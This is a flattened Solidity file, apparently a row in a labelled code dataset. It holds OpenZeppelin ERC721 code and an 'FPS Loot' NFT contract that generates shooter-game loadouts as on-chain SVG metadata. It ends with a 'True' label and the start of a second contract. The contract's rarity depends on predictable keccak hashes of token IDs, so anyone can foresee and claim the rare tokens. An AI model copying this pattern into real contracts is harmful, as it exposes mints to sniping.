require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract FPSLOOT is ERC721Enumerable, ReentrancyGuard, Ownable {
string[] private primary = [
"Ray Gun",
"SCAR",
"G11",
"Barrett .50cal",
"Spas-12",
"UMP45",
"M16",
"ACR",
"FAMAS",
"Intervention",
"725",
"AK-47",
"MP5",
"Kar 98k"
];
string[] private attachment = [
"Grenade Launcher",
"Thermal Scope",
"Red Dot Sight",
"ACOG Scope",
"Suppressor",
"Extended Magazine",
"Grip",
"Masterkey",
"Holographic Sight",
"Variable Zoom Scope",
"High Caliber",
"Akimbo"
];
string[] private secondary = [
"Thundergun",
"RPG",
"Ballistic Knife",
"Riot Shield",
"Desert Eagle",
"Five-seveN",
"1911",
"Akimbo G18s",
"Executioner",
"ASP",
"Combat Knife",
"Magnum",
"Crossbow",
"Javelin"
];
string[] private perk = [
"Juggernog",
"Flak Jacket",
"Lightweight",
"Ghost",
"Hardline",
"Blind Eye",
"Tactical Mask",
"Awareness",
"Dead Silence",
"Hard Wired",
"Scavenger",
"Cold Blooded",
"Fast Hands",
"Toughness",
"Dexterity",
"Engineer",
"Extreme Conditioning"
];
string[] private equipment = [
"Monkey Bomb",
"Claymore",
"Bouncing Betty",
"Frag Grenade",
"Semtex",
"C4",
"Molotov Cocktail",
"Tomahawk",
"Nova Gas",
"Smoke Grenade",
"Flashbang",
"Stim",
"Trophy System",
"Shock Charge",
"Tactical Insertion"
];
string[] private armour = [
"Juggernaut Suit",
"No Armor",
"Riot Gear",
"Level IIA Armor",
"Level II Armor",
"Level IIIA Armor",
"Level III Armor",
"Level IV Armor"
];
string[] private killstreaks = [
"Tactical Nuke",
"UAV",
"Attack Dogs",
"Sentry Gun",
"Attack Helicopter",
"AGR",
"Airstrike",
"Dragonfire",
"AC-130",
"Care Package",
"Counter-UAV",
"RC-XD",
"SAM Turret",
"Napalm Strike",
"Predator Missile",
"EMP",
"Death Machine"
];
string[] private emotes = [
"Default Dance",
"YY",
"Teabag",
"Floss",
"Gangnam Style",
"Nae Nae",
"Jazz Hands",
"Thriller",
"Thumbs Up",
"The Bird",
"Take the L",
"Orange Justice",
"Best Mates",
"Fresh Dance",
"Air Guitar",
"Juggling",
"Snowman Dance",
"Slurp up the Chug Jug (Clean)",
"Slurp up the Chug Jug (Sloppy)"
];
string[] private suffixes = [
"of Nuketown",
"of Kino der Toten",
"of Rust",
"of Terminal",
"of Verdansk",
"of Rebirth Island",
"of Raid",
"of Highrise",
"of Resistance",
"of Favela",
"of Dome",
"of Array",
"of Summit",
"of Havana",
"of Crash",
"of Firing Range",
"of Strike",
"of Town",
"of Moon",
"of Der Riese",
"of Railyard",
"of Vacant",
"of Jungle",
"of Sub Base",
"of Aftershock",
"of Hardhat",
"of Scrapyard",
"of Green Run",
"of Express",
"of Yemen",
"of Stonehaven",
"of Terrace",
"of London Docks",
"of Slums",
"of Aachen",
"of USS Texas",
"of Sainte Marie du Mont",
"of Standoff"
];
string[] private namePrefixes = [
"Diamond",
"Gold",
"Carbon Fiber",
"Pepe",
"Benjamins",
"Bacon",
"Graffiti",
"Tiger",
"DEVGRU",
"Siberia",
"Woodland",
"Desert",
"Snow",
"Crocodile",
"Red",
"Green",
"Ice",
"Fire",
"Weed",
"Kryptek",
"Lightning",
"Urban",
"Chrome",
"Aqua",
"Leopard",
"Neon Pink",
"Nerf",
"FDE",
"Invisible",
"Blue Tiger",
"Red Tiger",
"Fall"
];
string[] private nameSuffixes = [
"Camo"
];
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getPrimary(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "PRIMARY", primary);
}
function getAttachment(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "ATTACHMENT", attachment);
}
function getSecondary(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "SECONDARY", secondary);
}
function getPerk(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "PERK", perk);
}
function getEquipment(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "EQUIPMENT", equipment);
}
function getArmour(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "ARMOUR", armour);
}
function getKillstreaks(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "KILLSTREAKS", killstreaks);
}
function getEmotes(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "EMOTES", emotes);
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
string memory output = sourceArray[rand % sourceArray.length];
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length]));
}
if (greatness >= 19) {
string[2] memory name;
name[0] = namePrefixes[rand % namePrefixes.length];
name[1] = nameSuffixes[rand % nameSuffixes.length];
if (greatness == 19) {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
} else {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
}
}
return output;
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
string[17] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: black; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="#bd3939" /><text x="10" y="20" class="base">';
parts[1] = getPrimary(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = getAttachment(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = getSecondary(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = getPerk(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = getEquipment(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = getArmour(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = getKillstreaks(tokenId);
parts[14] = '</text><text x="10" y="160" class="base">';
parts[15] = getEmotes(tokenId);
parts[16] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "FPS Loot #', toString(tokenId), '", "description": "Every FPS needs loot. Think Loot Project, but for First Person Shooters. FPS Loot consists of randomized loadouts, suitable for interpretation in FPS games.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function claim(uint256 tokenId) public nonReentrant {
require(tokenId > 0 && tokenId < 6970, "Token ID invalid");
_safeMint(_msgSender(), tokenId);
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
constructor() ERC721("FPS Loot", "FPSLOOT") Ownable() {}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-01
*/
// Sources flattened with hardhat v2.6.5 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
